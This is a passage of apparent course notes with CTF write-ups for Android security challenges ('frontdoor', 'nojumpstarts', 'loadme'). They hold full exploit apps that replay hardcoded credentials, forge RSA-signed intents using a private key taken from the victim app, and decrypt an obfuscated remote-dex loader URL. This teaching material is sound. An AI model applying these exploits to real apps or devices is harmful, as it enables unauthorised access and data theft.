In the output folder, in the usual "*com/mobiotsec/app*" folder, we see four files; the most interesting ones are the *MainActivity* itself and the *Flag.java* files. Starting from the first one, we see what the code does is basically having a server URL which gets called by the connection opening with a GET method and then the connection tries to retrieve data in a readable format, both UTF-8 and in an encoded form.

So, basically:

- we see that it sends a get request to root at http://10.0.2.2:8085
- if not in debug mode, it sends the request with the strings inserted by user
- otherwise we see a prefilled pair user/pwd like `username=testuser&password=passtestuser123`

Infact, inside the *frontdoor* folder there is a "server" folder, with a Dockerfile ready to call and execute. We get told we are expected to find and exploit the vulnerability inside our app, so we should create a MaliciousApp in Android Studio to do just that. Basically, we should be able to write some code which exploits the server call and call it a day retrieving the flag.

Given we are calling a server, we should add inside the Manifest file the Internet permission, specifically:

```
<uses-permission android:name="android.permission.INTERNET"/>
```

Also, consider the code execution may give problems, given the network is HTTP and not secure. So, inside res/xml folder, it needs to be create a "network_security_config.xml" in which you specify the traffic is not protected:

```
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
            <certificates src="system"/>
        </trust-anchors>
    </base-config>
</network-security-config>
```

The complete manifest, then, considers a class setting as the main entry point our class we will comment next:

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.frontdoor">

    <application
        android:networkSecurityConfig="@xml/network_security_config"
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
```

```
        android:supportsRtl="true">
        <activity android:name="com.example.frontdoor.FlagCaller"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-permission android:name="android.permission.INTERNET" />

</manifest>
```

Consider also we're trying to exploit an application sending a username and a password maliciously via a function which connects to the desired URL via a GET method, then the response is read via buffered read and then the string is built over time. The flag will be printed inside the logs when executed. We just need a class extending the activity, hence getting the parameters via a GET call. Remember to first run the server via:

```
sudo ./docker_build.sh
sudo ./docker-run.sh
```

So, we use as a code a *ThreadPoolExecutor* to run the network call on a background thread. Then we use a *ThreadPoolExecutor* will automatically create and manage a pool of threads for handling asynchronous tasks. The Future object is used to get the result of the network call once it has completed. Basically, we open a connection via GET with the parameters specified inside the *getFlag* function and then via usual *InputStream* and *BufferedReader* parsing, we open the stream and disconnect when we are done.

```
package com.example.frontdoor;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;

import androidx.annotation.Nullable;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;

public class FlagCaller extends Activity {
    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        ExecutorService executorService = Executors.newSingleThreadExecutor();
              Future<String>  future  =  (Future<String>)  executorService.submit(new
```

```
WebService());

        try {
            String response = future.get();
            Log.i(TAG, response);
        } catch (Exception e) {
            Log.e(TAG, Log.getStackTraceString(e));
        } finally {
            executorService.shutdown();
        }
    }

    private class WebService implements Runnable {

        @Override
        public void run() {
            try {
                URL mUrl = new URL("http://10.0.2.2:8085");
                String urlParameters = "username=testuser&password=passtestuser123";
                byte[] postData = urlParameters.getBytes(StandardCharsets.UTF_8);

                  HttpURLConnection conn = (HttpURLConnection) new URL(mUrl + "?" +
urlParameters).openConnection();
                conn.setRequestMethod("GET");
                                            conn.setRequestProperty("Content-Length",
Integer.toString(postData.length));
                conn.setDoOutput(true);
                conn.getOutputStream().write(postData);

                InputStream inputStream = conn.getInputStream();
                                BufferedReader  reader  =  new  BufferedReader(new
InputStreamReader(inputStream));
                String line;
                StringBuilder response = new StringBuilder();

                while ((line = reader.readLine()) != null) {
                    response.append(line);
                }

                reader.close();
                inputStream.close();
                conn.disconnect();

                Log.i(TAG, response.toString());
            } catch (Exception e) {
                Log.e(TAG, Log.getStackTraceString(e));
            }
        }
    }
}
```

If everything goes well, inside *Logcat* we find:

```
2023-12-12 22:21:58.476 10747-10769 MOBIOTSEC                   com.example.frontdoor
I <html> <head>   <title>Home</title>  <meta charset='utf-8'/> </head> <body>  Here's
your reward: FLAG{forma_bonum_fragile_est} </body></html>
```

13.3. Solution 2

```
package com.example.maliciousapp;

import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import android.widget.TextView;

import androidx.appcompat.app.AppCompatActivity;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "MOBIOTSEC";
    private static final String sUrl = "http://10.0.2.2:8085";
                    private     static     final     String     urlParameters     =
"username=testuser&password=passtestuser123";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Handler handler = new Handler();
        new Thread(new Runnable() {
            @Override
            public void run() {
                String flag = getFlag();
                handler.post(new Runnable() {
                    @Override
                    public void run() {
                        TextView textView = findViewById(R.id.debug_text);
                        textView.setText(flag);
                    }
                });
            }
        }).start();
    }

    public String getFlag() {
        int postDataLength = urlParameters.getBytes().length;
        try {
            URL url = new URL(sUrl + "?" + urlParameters);
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setRequestMethod("GET");
               connection.setRequestProperty("Content-Type", "application/x-www-form-
urlencoded");
            connection.setRequestProperty("charset", "utf-8");
                                        connection.setRequestProperty("Content-Length",
Integer.toString(postDataLength));
            connection.setUseCaches(false);

                                BufferedReader   reader   =   new   BufferedReader(new
```

```
InputStreamReader(connection.getInputStream()));
            StringBuilder response = new StringBuilder();

            String line;
            while ((line = reader.readLine()) != null) {
                response.append(line).append("\n");
            }
            reader.close();

          String flag = response.toString().replaceAll("(FLAG\\{.*\\})", "$1").trim();
            Log.d(TAG, "The flag is " + flag);
            return flag;
        } catch (Exception e) {
            String error = "Error: " + e.toString();
            Log.e(TAG, error);
            return error;
        }
    }
}
```

13.4. Prof. solution

```
package com.example.mobilesec;

import android.app.Activity;
import android.os.Bundle;
import android.util.Log;

import androidx.annotation.Nullable;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;

public class MyRequest extends Activity {
    static final String TAG = "MOBIOTSEC";

    String callServer() {
        try {
            URL mUrl = new URL("http://10.0.2.2:8085");
            String urlParameters = "username=testuser&password=passtestuser123";
           int postDataLength = urlParameters.getBytes(StandardCharsets.UTF_8).length;
                HttpURLConnection conn = (HttpURLConnection) new URL(mUrl + "?" +
urlParameters).openConnection();
            conn.setRequestMethod("GET");
         conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            conn.setRequestProperty("charset", "utf-8");
          conn.setRequestProperty("Content-Length", Integer.toString(postDataLength));
            conn.setUseCaches(false);
                                    BufferedReader rd = new BufferedReader(new
InputStreamReader(conn.getInputStream()));
            StringBuilder content = new StringBuilder();
            while (true) {
                String readLine = rd.readLine();
```

```
                if (readLine == null) {
                    return content.toString();
                }
                content.append(readLine).append("\n");
            }
        } catch (Exception e) {
            Log.i(TAG, Log.getStackTraceString(e));
        }
        return null;
    }

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Thread t = new Thread(() -> {
            String response = callServer();
            Log.i(TAG, "OUTPUT " + response);
        });

        t.start();
    }
}
```

14. Nojumpstarts

14.1. Challenge description

The challenge as uploaded on Moodle had no text to note here; we jump directly to the solution.

14.2. Solution 1

We are given an apk file a Python script. We decompile the apk with jadx via command

```
jadx -d out victim.apk
```

In the usual output folder, this time around, apart from the Main Activity, there are four classes: *A, B, C* and the Main file. Let's analyze each one of these.

Inside Main file, there are the private and the public key of RSA, which gets encoded in two different public cryptography schemas. Basically, it seems we are signing the message and building the intent via message this way, signing with author and message itself.

Basically, the *A/B/C* classes get called in order via the creation of an Intent and its extra, creating the flag and then signing both the message and the author; if everything is done correctly, the authentication is done well, considering the activity result each time. Infact, first there is the buildIntent from A to B, then from B to C and if we go into C, we reply with the correct flag from the Main Activity.

At the end of the day, also looking inside the *MainActivity*, it seems like we are calling the Intent setting the flag this way, then expecting a possible result, hence getting a possibly right flag. So, the logic would be to call these methods in order and then get the flag inside our malicious app implementation. What we have to do would be use the signing logic to get at least to *C*.

Here is a possible code outline for getting the flag:
1. Create a new app with the same package name as the legitimate app.
2. Generate the private and public keys for each activity in the chain.
3. Use the correct keys to sign the messages from each activity.
4. Pass the signed messages to the next activity in the chain.
5. Repeat steps 3 and 4 until you reach the C activity.
6. The C activity will return the flag.

So, let's start from building the chain; we would need to copy the entire code of *Main* in order to get to the solution, otherwise, we wouldn't be able of recostructing the flag properly.

Basically, a right code would follow this implementation:

```
package com.example.nojumpstarts;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import java.util.Objects;

public class MainActivity extends Activity {

    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
```

```
        Log.i(TAG, "Created the activity");
    }

    @Override
    protected void onStart() {
        super.onStart();

        String msg = "Main-to-A/A-to-B/B-to-C";

        // Use the buildIntent method from Main to create the intent
        Intent data = null;
        try {
            data = Main.buildIntent("Main", "C", null);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

        Log.i(TAG, "Signed the message and created intent");

        if (Objects.requireNonNull(data).resolveActivity(getPackageManager()) != null)
{
            // We then set authmsg and authsign as extras
            data.putExtra("authmsg", msg);
           // We can then sign the message with the code already present inside "Main"
            // The following has to be try-catch surrounded
            try {
                data.putExtra("authsign", Main.sign(msg));
            } catch (Exception e) {
                Log.e(TAG, Log.getStackTraceString(e));
            }

            Log.i(TAG, "Sent intent successfully");
            startActivityForResult(data, 1);
        }
    }


    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data){
        super.onActivityResult(requestCode, resultCode, data);

        if (data != null) {
            String flagValue = data.getStringExtra("flag");

            if (flagValue != null) {
                Log.i(TAG, flagValue);
            } else {
                Log.e(TAG, "Flag not present in the intent");
            }
        } else {
            Log.e(TAG, "Received null intent");
        }
    }
}
```

Infact, when launching the command via the Python script checker, the flag gets printed:

```
> python3 nojumpstarts_checker.py victim.apk app-debug.apk
.......
12-13 09:29:29.923 13801 13801 I MOBIOTSEC: Created the activity
12-13 09:29:29.936 13801 13801 I MOBIOTSEC: Signed the message and created intent
12-13 09:29:29.939 13801 13801 I MOBIOTSEC: Sent intent successfully
12-13 09:29:30.071 13801 13801 I MOBIOTSEC: FLAG{virtus_unita_fortior}
```

14.3. Solution 2

- Main.java

```
package com.example.maliciousapp;

import android.content.ComponentName;
import android.content.Intent;
import android.util.Base64;
import android.util.Log;
import java.io.BufferedReader;
import java.io.StringReader;
import java.security.KeyFactory;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;

class Main {
   private static final String PRIVKEY = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA0vKu6oHF6wkA
FRrkF06x7rLCWiQbcWZgt/Yj+ONbPHeHIImSzUkNkJC\nMMlwIv/l/Oz1gN6Pn6KZQxiASSqR5uS7v92vYXGpusLjvfLpFzCEBY
eELD3jre6U0ng/
eSlhP9FKrt109xdgw96ff\nVYK0o9o9IJm44RZFYvTjLIBGYI7uwaAgJK+rFQIDAQABAoIBACD/
rbUpj9hwlCKH\nuCU/ctHQyuH+hFAe2kmzrtPyoADQ0lYg6RN2AO8syJBjpHnOVsgyXmMbf2KWf2z1\n2CFXwi0YEXkaYuCfoi9
gisYtWC1OdAZ0s/Q/rdpf9EVCcmKDlDxc\n8zoRA8gmF4EwJrVwpqvdSqmwTQPGjrkFfv0fxJk5iYiId+FONKtcXFvmZ7i0o9bB
9oCs29R/ZUkW13H9zGftKX0pp64qgxy/yGoe/lQunzYete5l5X1t\ne/wnORECgYEA9ktAziObm/7uDHl3hpi6rj7SKE7EvxB2m
0FByN2O8Qnc5H8yFfTVLR\nMYwS4EqvDcsG9J7YywlRlQ+z1Fy18VEgGcgWWoiKNAPrKcTMMoO7/dsCgYEA20LX\nPIxtS6J0s1
pCiEeYy9mrr8N3JAxK0f4hYdITlmFtXvQtyZc8CgYEAjOnRUh+dUEsy94AnmqKX\nbEoVA2rNtmM8+Lz9PwUbSzgG+kHytrbOKw
sZYBjkbxgJrHofE6sHvam\nxzjTBLHPdwkIyg3gcOme7DEYdg6gRoPzPBjVGFi0409DE18ZFElgriJ9Zo+GNWOM\n9rcfZIkZiE
Z55Xmpmr//mK58m\n-----END RSA PRIVATE KEY-----\n";
   private static final String PUBKEY = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AM
FRrkF06x7rLCWiQ\nbcWZgt/Yj+ONbPHeHIImSzUkNkJCMMlwIv/l/Oz1gN6Pn6KZQxiASSqR5uS7v92v\nYXGpusLjvfLpFzCE
eELD3jr\ne6U0ng/
eSlhP9FKrt109xdgw96ffVYK0o9o9IJm44RZFYvTjLIBGYI7uwaAgJK+r\nFQIDAQAB\n-----END   PUBLIC
KEY-----\n";

    public static PKCS8EncodedKeySpec getPrivateKeySpec() throws Exception {
        StringBuilder pkcs8Lines = new StringBuilder();
        BufferedReader rdr = new BufferedReader(new StringReader(PRIVKEY));
        while (true) {
            String line = rdr.readLine();
            if (line == null) {
                                                                    return
new  PKCS8EncodedKeySpec(Base64.decode(pkcs8Lines.toString().replace("-----BEGIN  RSA
PRIVATE KEY-----", "").replace("-----END RSA PRIVATE KEY-----", "").replaceAll("\\s+",
""), 0));
            }
            pkcs8Lines.append(line);
        }
    }
```

```
    public static X509EncodedKeySpec getPublicKeySpec() throws Exception {
        StringBuilder pkcs8Lines = new StringBuilder();
        BufferedReader rdr = new BufferedReader(new StringReader(PUBKEY));
        while (true) {
            String line = rdr.readLine();
            if (line == null) {
                                                                        return
new X509EncodedKeySpec(Base64.decode(pkcs8Lines.toString().replace("-----BEGIN PUBLIC
KEY-----", "").replace("-----END PUBLIC KEY-----", "").replaceAll("\\s+", ""), 0));
            }
            pkcs8Lines.append(line);
        }
    }

    public static PrivateKey getPrivateKey() throws Exception {
        return KeyFactory.getInstance("RSA").generatePrivate(getPrivateKeySpec());
    }

    public static PublicKey getPublicKey() throws Exception {
        return KeyFactory.getInstance("RSA").generatePublic(getPublicKeySpec());
    }

    public static byte[] sign(String msg) throws Exception {
        byte[] msgbytes = msg.getBytes();
        PrivateKey privKey = getPrivateKey();
        Signature s = Signature.getInstance("SHA256withRSA");
        s.initSign(privKey);
        s.update(msgbytes);
        return s.sign();
    }

    public static boolean verify(String msg, byte[] signature) {
        try {
            byte[] msgbytes = msg.getBytes();
            PublicKey pubKey = getPublicKey();
            Signature s = Signature.getInstance("SHA256withRSA");
            s.initVerify(pubKey);
            s.update(msgbytes);
            return s.verify(signature);
        } catch (Exception e) {
          Log.e("MOBISEC", "exception when verifying: " + Log.getStackTraceString(e));
            return false;
        }
    }

     public static Intent buildIntent(String src, String dst, String chain) throws
Exception {
        String msg;
        if (chain == null) {
            try {
                msg = src + "-to-" + dst;
            } catch (Exception e) {
                return null;
            }
        } else {
```

```
            msg = chain + "/" + src + "-to-" + dst;
        }
        byte[] sign = sign(msg);
        Intent i = new Intent();
                    i.setComponent(new   ComponentName("com.mobiotsec.nojumpstarts",
"com.mobiotsec.nojumpstarts." + dst));
        i.putExtra("authmsg", msg);
        i.putExtra("authsign", sign);
        return i;
    }
}
```

- MainActivity

```
package com.example.maliciousapp;

import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

import androidx.activity.result.contract.ActivityResultContracts;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    private static final String TAG = "MOBIOTSEC";
    private final ActivityResultContracts.StartActivityForResult contract =
            new ActivityResultContracts.StartActivityForResult();

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Intent intent = Main.buildIntent("B", "C", "Main-to-A/A-to-B");
        registerForActivityResult(contract, result -> {
            String flag = (result.getData() != null) ?
                    result.getData().getStringExtra("flag") : "[null]";

            Log.d(TAG, "The flag is " + flag);
            TextView debugText = findViewById(R.id.debug_text);
            debugText.setText(flag);
        }).launch(intent);
    }
}
```

14.4. Prof. solution

```
package com.mobiotsec.maljumpstarts;

import android.content.ComponentName;
import android.content.Intent;
import android.util.Base64;
import android.util.Log;

import java.io.BufferedReader;
import java.io.StringReader;
```

```
import java.security.KeyFactory;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;

class Main {

   private static final String PRIVKEY = "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA0vKu6oHF6wkA
FRrkF06x7rLCWiQbcWZgt/Yj+ONbPHeHIImSzUkNkJC\nMMlwIv/l/Oz1gN6Pn6KZQxiASSqR5uS7v92vYXGpusLjvfLpFzCEBY
eELD3jre6U0ng/
eSlhP9FKrt109xdgw96ff\nVYK0o9o9IJm44RZFYvTjLIBGYI7uwaAgJK+rFQIDAQABAoIBACD/
rbUpj9hwlCKH\nuCU/ctHQyuH+hFAe2kmzrtPyoADQ0lYg6RN2AO8syJBjpHnOVsgyXmMbf2KWf2z1\n2CFXwi0YEXkaYuCfoi9
gisYtWC1OdAZ0s/Q/rdpf9EVCcmKDlDxc\n8zoRA8gmF4EwJrVwpqvdSqmwTQPGjrkFfv0fxJk5iYiId+FONKtcXFvmZ7i0o9bB
9oCs29R/ZUkW13H9zGftKX0pp64qgxy/yGoe/lQunzYete5l5X1t\ne/wnORECgYEA9ktAziObm/7uDHl3hpi6rj7SKE7EvxB2m
0FByN2O8Qnc5H8yFfTVLR\nMYwS4EqvDcsG9J7YywlRlQ+z1Fy18VEgGcgWWoiKNAPrKcTMMoO7/dsCgYEA20LX\nPIxtS6J0s1
pCiEeYy9mrr8N3JAxK0f4hYdITlmFtXvQtyZc8CgYEAjOnRUh+dUEsy94AnmqKX\nbEoVA2rNtmM8+Lz9PwUbSzgG+kHytrbOKw
sZYBjkbxgJrHofE6sHvam\nxzjTBLHPdwkIyg3gcOme7DEYdg6gRoPzPBjVGFi0409DE18ZFElgriJ9Zo+GNWOM\n9rcfZIkZiE
Z55Xmpmr//mK58m\n-----END RSA PRIVATE KEY-----\n";
   private static final String PUBKEY = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AM
FRrkF06x7rLCWiQ\nbcWZgt/Yj+ONbPHeHIImSzUkNkJCMMlwIv/l/Oz1gN6Pn6KZQxiASSqR5uS7v92v\nYXGpusLjvfLpFzCE
eELD3jr\ne6U0ng/
eSlhP9FKrt109xdgw96ffVYK0o9o9IJm44RZFYvTjLIBGYI7uwaAgJK+r\nFQIDAQAB\n-----END   PUBLIC
KEY-----\n";

    Main() {
    }

    public static PKCS8EncodedKeySpec getPrivateKeySpec() throws Exception {
        StringBuilder pkcs8Lines = new StringBuilder();
        BufferedReader rdr = new BufferedReader(new StringReader(PRIVKEY));
        while (true) {
            String readLine = rdr.readLine();
            String line = readLine;
            if (readLine == null) {
                                                                    return
new  PKCS8EncodedKeySpec(Base64.decode(pkcs8Lines.toString().replace("-----BEGIN  RSA
PRIVATE KEY-----", "").replace("-----END RSA PRIVATE KEY-----", "").replaceAll("\\s+",
""), 0));
            }
            pkcs8Lines.append(line);
        }
    }

    public static X509EncodedKeySpec getPublicKeySpec() throws Exception {
        StringBuilder pkcs8Lines = new StringBuilder();
        BufferedReader rdr = new BufferedReader(new StringReader(PUBKEY));
        while (true) {
            String readLine = rdr.readLine();
            String line = readLine;
            if (readLine == null) {
                                                                    return
new X509EncodedKeySpec(Base64.decode(pkcs8Lines.toString().replace("-----BEGIN PUBLIC
KEY-----", "").replace("-----END PUBLIC KEY-----", "").replaceAll("\\s+", ""), 0));
            }
```

```
            pkcs8Lines.append(line);
        }
    }

    public static PrivateKey getPrivateKey() throws Exception {
        return KeyFactory.getInstance("RSA").generatePrivate(getPrivateKeySpec());
    }

    public static PublicKey getPublicKey() throws Exception {
        return KeyFactory.getInstance("RSA").generatePublic(getPublicKeySpec());
    }

    public static byte[] sign(String msg) throws Exception {
        byte[] msgbytes = msg.getBytes();
        PrivateKey privKey = getPrivateKey();
        Signature s = Signature.getInstance("SHA256withRSA");
        s.initSign(privKey);
        s.update(msgbytes);
        return s.sign();
    }

    public static boolean verify(String msg, byte[] signature) {
        try {
            byte[] msgbytes = msg.getBytes();
            PublicKey pubKey = getPublicKey();
            Signature s = Signature.getInstance("SHA256withRSA");
            s.initVerify(pubKey);
            s.update(msgbytes);
            return s.verify(signature);
        } catch (Exception e) {
         Log.e("MOBIOTSEC", "exception when verifying: " + Log.getStackTraceString(e));
            return false;
        }
    }

     public static Intent buildIntent(String src, String dst, String chain) throws
Exception {
        String msg;
        if (chain == null) {
            try {
                msg = src + "-to-" + dst;
            } catch (Exception e) {
                return null;
            }
        } else {
            msg = chain + "/" + src + "-to-" + dst;
        }
        byte[] sign = sign(msg);
        Intent i = new Intent();
                    i.setComponent(new   ComponentName("com.mobiotsec.nojumpstarts",
"com.mobiotsec.nojumpstarts." + dst));
        i.putExtra("authmsg", msg);
        i.putExtra("authsign", sign);
        return i;
    }
}
```

- MainActivity

```
package com.mobiotsec.maljumpstarts;

import androidx.appcompat.app.AppCompatActivity;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends Activity {

    private static final String TAG = "MOBIOTSEC";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Log.i(TAG, "onCreate");
    }

    @Override
    protected void onStart() {
        super.onStart();
        String chain = "Main-to-A/A-to-B/B-to-C";

        Log.i(TAG, "onStart");

        Intent intent1 = new Intent();
              intent1.setComponent(new  ComponentName("com.mobiotsec.nojumpstarts",
"com.mobiotsec.nojumpstarts.C"));
        intent1.putExtra("authmsg", chain);
        try {
            intent1.putExtra("authsign", Main.sign(chain));
        } catch (Exception e) {
            Log.i(TAG, Log.getStackTraceString(e));
        }
        if (intent1.resolveActivity(getPackageManager()) != null) {
            Log.i(TAG, "Sent malicious intent");
            startActivityForResult(intent1, 1);
        }
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        Log.i(TAG, data.getStringExtra("flag"));
    }
}
```

15. Loadme

15.1. Challenge description

The challenge as uploaded on Moodle had no text to note here; we jump directly to the solution.

15.2. Solution 1

We are given only the apk file this time around. We decompile the apk with jadx via command:

```
jadx -d out loadme.apk
```

In the usual output folders, there is more stuff to check, composed of two folders: *check* and *loadme*. Let's inspect those one by one.

Starting from the *check* folder, the only interesting thing appears from the Check.java file itself, which checks for a string parameter when called and if called correctly returns the flag, which appears in plain text.

Inside the *loadme* folder, there is a *DoStuff* class which is the usual "random mess" kind of class. Specifically, we can see there is some Base64 involved, also it sets the strict mode.

A strict mode is a developer tool that helps to identify usage of disk and network operation on the main thread, on which app is interacting with a user. It will help to prevent accidental usage of disk and network tasks on the main thread.

Apart from a vector initialized and other functions which put Base64 strings at random, there is a df function, which takes a URL, opens a connection and if connection was opened OK (HTTP 200 code), checks if header is in the right format, taking a file in input and then seeting the save file path. Seems like this function only checks for a file of some sort, not interesting.

The *lc* function loads from the absolute path a *dex* file, which probably is the file called from the previous function and then via reflecion calls their own methods when loaded correctly. The start function instead gets the absolute path and context and then sets the strict mode for the treads called. We can understand the *.dex* file gets downloaded via the right URL and then this way we correctly retrieve the flag.

The "good stuff" happens inside the ds function, which gets a cyphertext in Base64, decodes it, considers the vector and splits the key in parts as an AES encoding or similar ones and returns the string decoded. In order to solve it, we craft our solution also using ds as a function:

Specifically, the first thing coming to our eyes is, from the start method, this one:

```
String path = df(gu(), ctx.getCodeCacheDir().getAbsolutePath());
```

The "gu()" function invokes another utility function with an encrypted string as its parameter. This is the string we want to reverse.

Also, this line:

```
SecretKeySpec skeySpec = new SecretKeySpec((parts[1] + parts[0] +
"key!").getBytes("UTF-8"), "AES");
```

Specifies we are combining "mobiotsec" and "com" with "key!", resulting in:

```
SecretKeySpec skeySpec = new SecretKeySpec("mobiotseccomkey!".getBytes("UTF-8"),
"AES");
```

We can substitute that inside our code in ds function. Basically, the ds function returns a decrypted URL in combo with the "gu()" one, downloading a *.dex* file which invokes the methods, returning a temporary file.

The file gets downloaded from the path: https://www.math.unipd.it/~elosiouk/test.dex

Starting from the downloaded file, let's decrypt it, even with jadx and let's see what we get. Here, there is in particular the LoadImage class which is particularly interesting, which basically sets the decrypt string explictly and other methods which, when decrypted, allow to understand where the class is generated from, from which method, assets and codename.

Here we see the *load* and *loadclass*, which look both for files and try to find them, invoking their method when considering their absolute path.

When executing those methods, one can see that the Check class, which contains the folder in clear is called, then loading an asset as a .png file. Let's look inside the assets folder then, which in reality is not even a .png, but actually a .dex file. Let's inspect this one with jadx too. Infact, looking inside the file, we see a simple boolean check which conducts us towards the flag correctly, so: FLAG{memores_acti_prudentes_futuri}

A possible solver can be:

```
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;
import java.util.regex.Pattern;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

class Solver {
// The IV is the same for all the links
private static byte[] initVector = {-34, -83, -66, -17, -34, -83, -66, -17, -34, -83,
-66, -17, -34, -83, -66, -17};

// Method which downloads the file from the URL and saves it to the disk from encrypted
link
// gu stands for get url
private String gu() {
return ds("Bj9yLW24l0OpvkoxoPXLb+UqJGp1t1slVcl/aTlHM+iolk4i083NV8E1LNJj/6w1");
}

// ds stands for decrypt string
private String ds(String enc) {
try {
byte[] ciphertext = Base64.getDecoder().decode(enc.getBytes()); // Decoding the link
IvParameterSpec iv = new IvParameterSpec(initVector);
// Combining this from the package name and the class name
SecretKeySpec skeySpec = new SecretKeySpec("mobiotseccomkey!".getBytes("UTF-8"),
"AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
String decoded = new String(cipher.doFinal(ciphertext));
return decoded;
} catch (Exception e) {
e.printStackTrace();
return null;
```

```
}
}

//These functions are used to decrypt the strings
// its names are acronyms - gc/generate class name, gm/generate method name, ga/generate
argument, gcn/generate code name
private static String gc() {
return decrypt_ds("zbTHGeQeUUxj3dJ43fDwkcKmk4erD60GZXReeWl3ITA=");
}

private static String gm() {
return decrypt_ds("LlzQOUB3opWgJZeFNI/Jsg==");
}

private static String ga() {
return decrypt_ds("oxTrCOohrr2fAZfJZAjcNA==");
}

private static String gcn() {
return decrypt_ds("FxojiPxNKXdtYiY65LK1CA==");
}

private static String decrypt_ds(String s) {
try {
SecretKeySpec skeySpec = new SecretKeySpec("mobiotseccomkey!".getBytes("UTF-8"),
"AES");
IvParameterSpec iv = new IvParameterSpec(initVector);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
String decoded = new String(cipher.doFinal(Base64.getDecoder().decode(s.getBytes())));
return decoded;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

public static void main(String[] args) {
// The decrypted link is: https://www.math.unipd.it/~elosiouk/test.dex
String gu = new Solver().gu();
System.out.println("Class loaded successfully from: " + gu);

System.out.println(gc());
System.out.println(gm());
System.out.println(ga());
System.out.println
```

15.3. Solution 2

```
# Challenge
It's required to find a flag, although it's not clear where it's checked

## Flag
The flag is `FLAG{memores_acti_prudentes_futuri}`

# Solution
## APK
```

By decompiling the `.apk`, it appears that the `DoStuff` class has many obscured methods.
Of these, one is used to retrieve some code via HTTP.
The URL is obtained by the `gu()` function, that returns `https://www.math.unipd.it/~elosiouk/test.dex`

Remote code
The file can be downloaded and decompiled.
The class `LoadImage` also loads some code from a file

By decrypting the strings used to dynamically load the code it appears that a `.png` file (in the `assets` directory of the apk) is used as a `.dex` file.
The image is a `logo.png` file

Logo
By unzipping the apk and retrieving the logo file it's possible to decompile it (it being actually a `.dex` file)

Finally, there, by looking into the `Check` class, the flag can be found

Decrypting
It's possible to slightly edit the decompiled code itself to decrypt the obscured strings.
Here's a possible solver:

```
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;
import java.util.regex.Pattern;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

class Solve {
    private static byte[] initVector = {-34, -83, -66, -17, -34, -83, -66, -17, -34, -83, -66, -17, -34, -83, -66, -17};
    private String flag;

    private String gu() {
        return ds("Bj9yLW24l0OpvkoxoPXLb+UqJGp1t1slVcl/aTlHM+iolk4i083NV8E1LNJj/6w1");
    }

    private String ds(String enc) {
        try {
            byte[] ciphertext = Base64.getDecoder().decode(enc.getBytes());
            IvParameterSpec iv = new IvParameterSpec(initVector);
            SecretKeySpec skeySpec = new SecretKeySpec("mobiotseccomkey!".getBytes("UTF-8"), "AES");
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
